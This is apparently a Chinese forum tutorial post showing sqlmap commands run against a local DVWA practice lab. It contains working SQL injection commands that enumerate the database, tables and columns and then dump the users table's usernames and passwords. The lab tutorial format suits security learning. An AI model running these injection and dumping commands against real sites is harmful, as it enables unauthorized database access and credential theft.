网络安全运维技术交流论坛»论坛 › 网络安全技术交流 › Sqlmap注入 › sqlmap 快速体验

BoSaike

9 积分	0 好友	1 主题

发消息

sqlmap 快速体验

发表于 2024-1-9 00:03:47 | 查看: 3538| 回复: 3

- 获取当前数据库

  ```
  sqlmap.py --cookie="security=low; PHPSESSID=9209714ac614f3137b25f92880385a6e" --batch -u "http://192.168.0.110/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --current-db
  ```

  得知数据库名为dvwa

  ![image-20231205181614677](image/image-20231205181614677.png)

- 获取当前数据库下的表

  ```
  sqlmap.py --cookie="security=low; PHPSESSID=9209714ac614f3137b25f92880385a6e" --batch -u "http://192.168.0.110/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --D dvwa --tables
  ```

  ![image-20231205181636230](image/image-20231205181636230.png)

- 获取指定表的字段信息

  ```
  python sqlmap.py --cookie="security=low; PHPSESSID=9209714ac614f3137b25f92880385a6e" --batch -u "http://192.168.0.110/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" -D "dvwa" -T "users" --columns
  ```

  ![image-20231205181720063](image/image-20231205181720063.png)

- dump表中指定字段的数据

  ```
  python sqlmap.py --cookie="security=low; PHPSESSID=9209714ac614f3137b25f92880385a6e" --batch -u "http://192.168.0.110/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" -D dvwa -T users -C "user,password" --dump
  ```

  ![image-20231205181823016](image/image-20231205181823016.png)

收藏0 回复显示全部楼层道具举报